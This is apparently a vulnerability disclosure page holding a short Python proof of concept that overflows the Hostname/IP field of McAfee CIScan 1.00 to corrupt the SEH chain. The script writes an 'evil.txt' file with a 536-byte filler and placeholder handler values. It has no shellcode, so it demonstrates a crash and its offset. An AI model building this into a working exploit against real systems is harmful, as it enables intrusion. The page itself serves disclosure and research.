CIScanv1.00 Hostname/IP Field SEH Overwrite POC
Posted on 30 November -0001
<HTML><HEAD><TITLE>CIScanv1.00 Hostname/IP Field SEH Overwrite POC</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/usr/bin/python # Exploit Title : CIScanv1.00 Hostname/IP Field SEH Overwrite POC # Discovery by : Nipun Jaswal # Email : <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c2afa3abae82acabb2b7aca8a3b1b5a3aeecabaca4ad">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> # Discovery Date : 11/05/2016 # Software Link : http://www.mcafee.com/us/downloads/free-tools/ciscan.aspx # Tested Version : 1.00 # Vulnerability Type: SEH Overwrite POC # Tested on OS : Windows 7 Home Basic # Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press -> ############################################ # -----------------------------------NOTES----------------------------------------------# ############################################ #SEH chain of main thread #Address SE handler #0012FA98 43434343 #42424242 *** CORRUPT ENTRY *** # Offset to the SEH Frame is 536 buffer = "A"*536 # Address of the Next SEH Frame nseh = "B"*4 # Address to the Handler Code, Generally P/P/R Address seh = "C" *4 f = open("evil.txt", "wb") f.write(buffer+nseh+seh) f.close() </BODY></HTML>
